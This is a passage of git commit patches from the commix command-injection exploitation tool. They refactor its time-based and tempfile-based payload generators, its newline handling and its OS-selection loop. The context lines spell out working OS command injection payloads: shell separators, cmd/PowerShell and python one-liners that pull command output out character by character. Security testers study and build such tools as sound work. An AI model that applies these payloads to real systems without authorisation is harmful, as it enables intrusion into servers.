\"powershell.exe -InputFormat none write '" + TAG + "'.length\"') " @@ -44,7 +44,7 @@ def decision(separator, TAG, output_length, timesec, http_request_method): else: pass else: - if separator == ";" or separator == "%0a": + if separator in (";", "%0a"): payload = (separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output. @@ -91,7 +91,7 @@ def decision(separator, TAG, output_length, timesec, http_request_method): def decision_alter_shell(separator, TAG, output_length, timesec, http_request_method): if settings.TARGET_OS == settings.OS.WINDOWS: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\"" - if separator == "|" or separator == "||" : + if separator in ("|", "||"): pipe = "|" payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + @@ -112,7 +112,7 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me pass else: - if separator == ";" or separator == "%0a": + if separator in (";", "%0a"): payload = (separator + # Find the length of the output, using readline(). settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\"" + settings.CMD_SUB_SUFFIX + separator + @@ -156,7 +156,7 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me """ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): if settings.TARGET_OS == settings.OS.WINDOWS: - if separator == "|" or separator == "||" : + if separator in ("|", "||"): pipe = "|" payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c \"" + @@ -181,7 +181,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): cmd_exec = cmd if settings.USE_BACKTICKS: cmd_exec = settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX - if separator == ";" or separator == "%0a": + if separator in (";", "%0a"): payload = (separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_SUFFIX + separator + # settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + "expr length \"$" + settings.RANDOM_VAR_GENERATOR + "\"" + settings.CMD_SUB_SUFFIX + separator + @@ -226,7 +226,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method): """ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method): if settings.TARGET_OS == settings.OS.WINDOWS: - if separator == "|" or separator == "||" : + if separator in ("|", "||"): pipe = "|" payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + @@ -248,7 +248,7 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque else: settings.USER_APPLIED_CMD = cmd - if separator == ";" or separator == "%0a": + if separator in (";", "%0a"): payload = (separator + # Find the length of the output, using readline(). settings.RANDOM_VAR_GENERATOR + "1=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(len(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'))\"" + settings.CMD_SUB_SUFFIX + separator + @@ -290,7 +290,7 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque """ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == settings.OS.WINDOWS: - if separator == "|" or separator == "||" : + if separator in ("|", "||"): pipe = "|" payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " + @@ -312,7 +312,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met if settings.USE_BACKTICKS: cmd_exec = settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX settings.USER_APPLIED_CMD = cmd - if separator == ";" or separator == "%0a" : + if separator in (";", "%0a") : payload = (separator + # Grab the execution output. settings.RANDOM_VAR_GENERATOR + "=\"" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd_exec + settings.CMD_SUB_SUFFIX + settings.CMD_SUB_SUFFIX + "\"" + separator + @@ -366,7 +366,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == settings.OS.WINDOWS: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print(ord(os.popen('" + cmd + "').read().strip()[" + str(num_of_chars-1) + ":" + str(num_of_chars) + "]))\"" - if separator == "|" or separator == "||" : + if separator in ("|", "||"): pipe = "|" payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + @@ -389,7 +389,7 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http else: settings.USER_APPLIED_CMD = cmd - if separator == ";" or separator == "%0a": + if separator in (";", "%0a"): payload = (separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(ord(\'" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))\'[" + str(num_of_chars-1) + ":" +str(num_of_chars)+ "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + "if [ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ]" + separator + @@ -432,7 +432,7 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http """ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == settings.OS.WINDOWS: - if separator == "|" or separator == "||" : + if separator in ("|", "||"): pipe = "|" payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c \"" + @@ -453,7 +453,7 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me pass else: - if separator == ";" or separator == "%0a": + if separator in (";", "%0a"): payload = (separator + settings.RANDOM_VAR_GENERATOR + "=\"" + settings.CMD_SUB_PREFIX + cmd + settings.CMD_SUB_SUFFIX + "\"" + separator + "if [ " + str(ascii_char) + " -eq $" + settings.RANDOM_VAR_GENERATOR + " ]" + separator + @@ -492,7 +492,7 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me """ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == settings.OS.WINDOWS: - if separator == "|" or separator == "||" : + if separator in ("|", "||"): pipe = "|" payload = (pipe + settings.SINGLE_WHITESPACE + "for /f \"tokens=*\" %i in ('cmd /c " + @@ -513,7 +513,7 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt pass else: - if separator == ";" or separator == "%0a": + if separator in (";", "%0a"): payload = (separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"print(" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + ")))\n\"" + settings.CMD_SUB_SUFFIX + separator + "if [ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ]" + separator + diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index 2902c0e7e9..20198ebc7b 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -27,7 +27,7 @@ """ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): if settings.TARGET_OS == settings.OS.WINDOWS: - if separator == "|" or separator == "||" : + if separator in ("|", "||"): pipe = "|" payload = (pipe + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + pipe + @@ -50,7 +50,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): pass else: - if separator == ";" or separator == "%0a" : + if separator in (";", "%0a") : payload = (separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "echo " + TAG + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cat " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + @@ -98,7 +98,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method): if settings.TARGET_OS == settings.OS.WINDOWS: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(len(file.read().strip()))\"" - if separator == "|" or separator == "||" : + if separator in ("|", "||"): pipe = "|" payload = (pipe + settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + pipe + @@ -121,7 +121,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque pass else: - if separator == ";" or separator == "%0a" : + if separator in (";", "%0a") : payload = (separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + TAG + "')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output, using readline(). @@ -164,7 +164,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque """ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_method): if settings.TARGET_OS == settings.OS.WINDOWS: - if separator == "|" or separator == "||" : + if separator in ("|", "||"): pipe = "|" payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c \"" + @@ -201,7 +201,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth pass else: settings.USER_APPLIED_CMD = cmd - if separator == ";" or separator == "%0a" : + if separator in (";", "%0a") : payload = (separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + cmd + settings.FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + separator + " tr '\\n' ' ' < " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + "echo $" + settings.RANDOM_VAR_GENERATOR + " > " + OUTPUT_TEXTFILE + separator + @@ -259,7 +259,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_method): if settings.TARGET_OS == settings.OS.WINDOWS: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(len(file.read().strip()))\"" - if separator == "|" or separator == "||" : + if separator in ("|", "||"): pipe = "|" payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c " + @@ -286,7 +286,7 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ pass else: settings.USER_APPLIED_CMD = cmd - if separator == ";" or separator == "%0a" : + if separator in (";", "%0a") : payload = (separator + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"f = open('" + OUTPUT_TEXTFILE + "', 'w')\nf.write('" + settings.CMD_SUB_PREFIX + "echo " + settings.CMD_SUB_PREFIX + cmd + "))')\nf.close()\n\"" + settings.CMD_SUB_SUFFIX + separator + # Find the length of the output, using readline(). @@ -328,7 +328,7 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ """ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == settings.OS.WINDOWS: - if separator == "|" or separator == "||" : + if separator in ("|", "||"): pipe = "|" payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " @@ -348,7 +348,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http else: pass else: - if separator == ";" or separator == "%0a" : + if separator in (";", "%0a") : payload = (separator + # Use space as delimiter settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cut -d ' ' -f " + str(num_of_chars) + " < " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + @@ -393,7 +393,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == settings.OS.WINDOWS: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(ord(file.read().strip()[" + str(num_of_chars - 1) + "][0])); exit(0)\"" - if separator == "|" or separator == "||" : + if separator in ("|", "||"): pipe = "|" payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c " + @@ -415,7 +415,7 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t pass else: - if separator == ";" or separator == "%0a" : + if separator in (";", "%0a") : payload = (separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(ord(file.readlines()[0][" + str(num_of_chars - 1) + "]))\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + "if [ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ]" + separator + @@ -452,7 +452,7 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t """ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_method): if settings.TARGET_OS == settings.OS.WINDOWS: - if separator == "|" or separator == "||" : + if separator in ("|", "||"): pipe = "|" payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none " @@ -473,7 +473,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth pass else: - if separator == ";" or separator == "%0a" : + if separator in (";", "%0a") : payload = (separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + "cut -c1-2 " + OUTPUT_TEXTFILE + settings.CMD_SUB_SUFFIX + separator + "if [ " + str(ord(str(ascii_char))) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ]" + separator + @@ -511,7 +511,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method): if settings.TARGET_OS == settings.OS.WINDOWS: python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "]); exit(0)\"" - if separator == "|" or separator == "||" : + if separator in ("|", "||"): pipe = "|" payload = (pipe + "for /f \"tokens=*\" %i in ('cmd /c " + @@ -531,7 +531,7 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, else: pass else: - if separator == ";" or separator == "%0a" : + if separator in (";", "%0a") : payload = (separator + settings.RANDOM_VAR_GENERATOR + "=" + settings.CMD_SUB_PREFIX + settings.LINUX_PYTHON_INTERPRETER + " -c \"with open('" + OUTPUT_TEXTFILE +"') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "])\nexit(0)\"" + settings.CMD_SUB_SUFFIX + separator + "if [ " + str(ascii_char) + " -eq ${" + settings.RANDOM_VAR_GENERATOR + "} ]" + separator + diff --git a/src/utils/settings.py b/src/utils/settings.py index 8ab0d863dc..2bbe92eb55 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "103" +REVISION = "104" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From c6a86d0d4ebe799da9a51d6e5b48920242b7f053 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Thu, 25 Sep 2025 08:31:20 +0300 Subject: [PATCH 0632/1023] Trivial update --- src/core/injections/controller/checks.py | 10 +++++----- src/core/requests/requests.py | 2 +- src/utils/settings.py | 4 ++-- 3 files changed, 8 insertions(+), 8 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index c8be78e0cd..27fbb83daf 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -1231,7 +1231,7 @@ def define_target_os(): is different than the one identified by heuristics. """ def identified_os(): - if settings.IGNORE_IDENTIFIED_OS == None: + if settings.IGNORE_IDENTIFIED_TARGET_OS == None: warn_msg = "Identified different operating system (i.e. '" warn_msg += settings.TARGET_OS.title() + "'), than the defined (i.e. '" + menu.options.os.title() + "')." settings.print_data_to_stdout(settings.print_bold_warning_msg(warn_msg)) @@ -1239,11 +1239,11 @@ def identified_os(): proceed_option = common.read_input(message, default="S", check_batch=True) if proceed_option.lower() in settings.CHOICE_PROCEED : if proceed_option.lower() == "c": - settings.IGNORE_IDENTIFIED_OS = True - return settings.IGNORE_IDENTIFIED_OS + settings.IGNORE_IDENTIFIED_TARGET_OS = True + return settings.IGNORE_IDENTIFIED_TARGET_OS elif proceed_option.lower() == "s": - settings.IGNORE_IDENTIFIED_OS = False - return settings.IGNORE_IDENTIFIED_OS + settings.IGNORE_IDENTIFIED_TARGET_OS = False + return settings.IGNORE_IDENTIFIED_TARGET_OS elif proceed_option.lower() == "q": raise SystemExit() else: diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index c9638000c2..2b27711ef3 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -922,7 +922,7 @@ def server_identification(response): Identify the underlying operating system based on the server banner. """ def os_identification(response): - if not settings.IGNORE_IDENTIFIED_OS: + if not settings.IGNORE_IDENTIFIED_TARGET_OS: server_banner = response.info().get(settings.SERVER, "") check_os(server_banner) diff --git a/src/utils/settings.py b/src/utils/settings.py index 2bbe92eb55..932d2e2d8c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "104" +REVISION = "105" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: @@ -433,7 +433,7 @@ class OS(object): TARGET_OS = OS.UNIX IDENTIFIED_TARGET_OS = False -IGNORE_IDENTIFIED_OS = None +IGNORE_IDENTIFIED_TARGET_OS = None # Verbosity level (0-4, Default: 0) VERBOSITY_LEVEL = 0 From 4e07e36f6587ccd2d10f00ebf88afa2ed5edc9b9 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Fri, 26 Sep 2025 06:56:44 +0300 Subject: [PATCH 0633/1023] Refactored OS looping to respect user-specified targets or automatically iterate over supported OSes if none are specified or detected (based on PR https://github.com/commixproject/commix/pull/1017) --- doc/CHANGELOG.md | 1 + src/core/injections/controller/controller.py | 14 ++++++++------ src/utils/settings.py | 2 +- 3 files changed, 10 insertions(+), 7 deletions(-) diff --git a/doc/CHANGELOG.md b/doc/CHANGELOG.md index 9002f04eb2..1164d8da19 100755 --- a/doc/CHANGELOG.md +++ b/doc/CHANGELOG.md @@ -1,4 +1,5 @@ ## Version 4.1 (TBA) +* Revised: Refactored OS looping to respect user-specified targets or automatically iterate over supported OSes if none are specified or detected. * Revised: Refactored User-Agent strings to be loaded from external files rather than being hardcoded. * Revised: Improved handling of URL redirections and associated HTTP responses. * Revised: Improved prompts when merging or applying server-set cookies. diff --git a/src/core/injections/controller/controller.py b/src/core/injections/controller/controller.py index efde5622ac..fc15459b5f 100644 --- a/src/core/injections/controller/controller.py +++ b/src/core/injections/controller/controller.py @@ -305,12 +305,14 @@ def check_parameter_in_http_header(check_parameter): """ def injection_proccess(url, check_parameter, http_request_method, filename, timesec): settings.NOT_TESTABLE_PARAMETERS = False - for i in range(0,int(settings.OS_CHECKS_NUM)): - if settings.CHECK_BOTH_OS: - if i == 0: - settings.TARGET_OS = settings.OS.UNIX - else: - settings.TARGET_OS = settings.OS.WINDOWS + + os_targets = ([settings.TARGET_OS] if settings.TARGET_OS else + list(vars(settings.OS).values())[:settings.OS_CHECKS_NUM] if settings.CHECK_BOTH_OS else + [settings.TARGET_OS or list(vars(settings.OS).values())[0]]) + + # Loop over the selected OS targets + for os_target in os_targets: + settings.TARGET_OS = os_target if settings.PERFORM_BASIC_SCANS: checks.keep_testing_others(filename, url) diff --git a/src/utils/settings.py b/src/utils/settings.py index 932d2e2d8c..6eafa3f81c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "105" +REVISION = "106" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From 7ca0a2e0c85703dfe7786a5486e7725267b4ac0e Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Mon, 29 Sep 2025 08:11:15 +0300 Subject: [PATCH 0634/1023] Trivial update --- src/core/injections/controller/checks.py | 3 ++- src/utils/settings.py | 2 +- 2 files changed, 3 insertions(+), 2 deletions(-) diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 27fbb83daf..920e305542 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -287,7 +287,8 @@ def skip_testing(filename, url): settings.SKIP_CODE_INJECTIONS = True _ = " further testing" while True: - message = "Do you want to skip" + _ + " on the " + settings.CHECKING_PARAMETER + "? [Y/n] > " + message = "Do you want to skip" + _ + " on the " + message += settings.CHECKING_PARAMETER + "? (recommended if certain) [Y/n] > " procced_option = common.read_input(message, default="Y", check_batch=True) if procced_option in settings.CHOICE_YES: settings.SKIP_COMMAND_INJECTIONS = True diff --git a/src/utils/settings.py b/src/utils/settings.py index 6eafa3f81c..a07723511c 100755 --- a/src/utils/settings.py +++ b/src/utils/settings.py @@ -261,7 +261,7 @@ def sys_argv_errors(): DESCRIPTION = "The command injection exploiter" AUTHOR = "Anastasios Stasinopoulos" VERSION_NUM = "4.1" -REVISION = "106" +REVISION = "107" STABLE_RELEASE = False VERSION = "v" if STABLE_RELEASE: From b2b4181d9ca82c8ca0837b60483f9542d40f9ac4 Mon Sep 17 00:00:00 2001 From: stasinopoulos Date: Wed, 1 Oct 2025 07:02:19 +0300 Subject: [PATCH 0635/1023] Minor update --- .../techniques/time_based/tb_payloads.py | 8 ++--- src/core/injections/controller/checks.py | 30 ++++++++++--------- .../techniques/tempfile_based/tfb_payloads.py | 8 ++--- src/core/requests/requests.py | 12 ++++---- src/utils/settings.py | 2 +- 5 files changed, 31 insertions(+), 29 deletions(-) diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py index 1384db3219..1a2bc1682c 100755 --- a/src/core/injections/blind/techniques/time_based/tb_payloads.py +++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py @@ -147,7 +147,7 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me if settings.CUSTOM_INJECTION_MARKER: payload = payload + separator - payload = checks.payload_newline_fixation(payload) + payload = checks.sanitize_payload_newlines(payload) return payload @@ -283,7 +283,7 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque if settings.CUSTOM_INJECTION_MARKER: payload = payload + separator - return checks.payload_newline_fixation(payload) + return checks.sanitize_payload_newlines(payload) """ Get the execution output, of shell execution. @@ -423,7 +423,7 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http if settings.CUSTOM_INJECTION_MARKER: payload = payload + separator - payload = checks.payload_newline_fixation(payload) + payload = checks.sanitize_payload_newlines(payload) return payload @@ -546,6 +546,6 @@ def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, htt if settings.CUSTOM_INJECTION_MARKER: payload = payload + separator - return checks.payload_newline_fixation(payload) + return checks.sanitize_payload_newlines(payload) # eof \ No newline at end of file diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py index 920e305542..d32499e340 100755 --- a/src/core/injections/controller/checks.py +++ b/src/core/injections/controller/checks.py @@ -644,32 +644,34 @@ def ignore_google_analytics_cookie(cookie): return True """ -Payload new line fixation +Adapt newline characters in the payload depending on injection settings and OS. """ -def payload_newline_fixation(payload): - # New line fixation - if any([settings.USER_AGENT_INJECTION, settings.REFERER_INJECTION, settings.HOST_INJECTION, settings.CUSTOM_HEADER_INJECTION]): - payload = payload.replace("\n",";") - else: - if settings.TARGET_OS != settings.OS.WINDOWS: - payload = payload.replace("\n","%0d") - return payload +def sanitize_payload_newlines(payload): + if ( + settings.USER_AGENT_INJECTION + or settings.REFERER_INJECTION + or settings.HOST_INJECTION + or settings.CUSTOM_HEADER_INJECTION + ): + return payload.replace("\n", ";") + if settings.TARGET_OS != settings.OS.WINDOWS: + return payload.replace("\n", "%0d") + + return payload """ -Fix for %0a, %0d%0a separators +Normalize newline sequences (CRLF, CR, LF) into lowercase URL-encoded form. """ -def newline_fixation(payload): +def normalize_newlines(payload): payload = _urllib.parse.unquote(payload) for seq in [settings.END_LINE.CRLF, settings.END_LINE.CR, settings.END_LINE.LF]: encoded = _urllib.parse.quote(seq) - # raw newlines to lowercase encoding payload = payload.replace(seq, encoded.lower()) - # uppercase URL-encoded to lowercase payload = payload.replace(encoded.upper(), encoded.lower()) - return payload + return payload """ Page enc/decoding diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py index 20198ebc7b..decb9cbefa 100755 --- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py +++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py @@ -157,7 +157,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque if settings.CUSTOM_INJECTION_MARKER: payload = payload + separator - return checks.payload_newline_fixation(payload) + return checks.sanitize_payload_newlines(payload) """ Execute shell commands on vulnerable host. @@ -321,7 +321,7 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_ if settings.CUSTOM_INJECTION_MARKER: payload = payload + separator - return checks.payload_newline_fixation(payload) + return checks.sanitize_payload_newlines(payload) """ Get the execution output, of shell execution. @@ -445,7 +445,7 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t if settings.CUSTOM_INJECTION_MARKER: payload = payload + separator - return checks.payload_newline_fixation(payload) + return checks.sanitize_payload_newlines(payload) """ Get the execution output, of shell execution. @@ -561,6 +561,6 @@ def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, if settings.CUSTOM_INJECTION_MARKER: payload = payload + separator - return checks.payload_newline_fixation(payload) + return checks.sanitize_payload_newlines(payload) # eof \ No newline at end of file diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py index 2b27711ef3..60e7676d79 100755 --- a/src/core/requests/requests.py +++ b/src/core/requests/requests.py @@ -498,8 +498,8 @@ def inject_cookie(url, vuln_parameter, payload, http_request_method): request = _urllib.request.Request(url, data, method=http_request_method) #Check if defined extra headers. headers.do_check(request) - payload = checks.newline_fixation(payload) - payload = checks.payload_fixation(payload) + payload = checks.normalize_newlines(payload) + # payload = checks.payload_fixation(payload) # payload = payload.replace("+", "%2B") if settings.INJECT_TAG in menu.options.cookie: cookie = checks.process_injectable_value(payload, menu.options.cookie) @@ -548,7 +548,7 @@ def inject_user_agent(url, vuln_parameter, payload, http_request_method): request = _urllib.request.Request(url, data, method=http_request_method) #Check if defined extra headers. headers.do_check(request) - payload = checks.newline_fixation(payload) + payload = checks.normalize_newlines(payload) request.add_header(settings.USER_AGENT, payload) try: headers.check_http_traffic(request) @@ -591,7 +591,7 @@ def inject_referer(url, vuln_parameter, payload, http_request_method): request = _urllib.request.Request(url, data, method=http_request_method) #Check if defined extra headers. headers.do_check(request) - payload = checks.newline_fixation(payload) + payload = checks.normalize_newlines(payload) request.add_header(settings.REFERER, payload) try: headers.check_http_traffic(request) @@ -634,7 +634,7 @@ def inject_host(url, vuln_parameter, payload, http_request_method): request = _urllib.request.Request(url, data, method=http_request_method) #Check if defined extra headers. headers.do_check(request) - payload = checks.newline_fixation(payload) + payload = checks.normalize_newlines(payload) request.add_header(settings.HOST, payload) try: headers.check_http_traffic(request) @@ -677,7 +677,7 @@ def inject_custom_header(url, vuln_parameter, payload, http_request_method): request = _urllib.request.Request(url, data, method=http_request_method) #Check if defined extra headers. headers.do_check(request) - payload = checks.newline_fixation(payload) + payload = checks.normalize_newlines(payload) # if settings.CUSTOM_HEADER_VALUE in settings.CUSTOM_HEADER_VALUE.replace(settings.INJECT_TAG, ""): # request.add_header(settings.CUSTOM_HEADER_NAME, settings.CUSTOM_HEADER_VALUE.replace(settings.INJECT_TAG, "").replace(settings.CUSTOM_HEADER_VALUE, payload)) # else: diff --git a/src/utils/settings.py b/src/utils/settings.py index 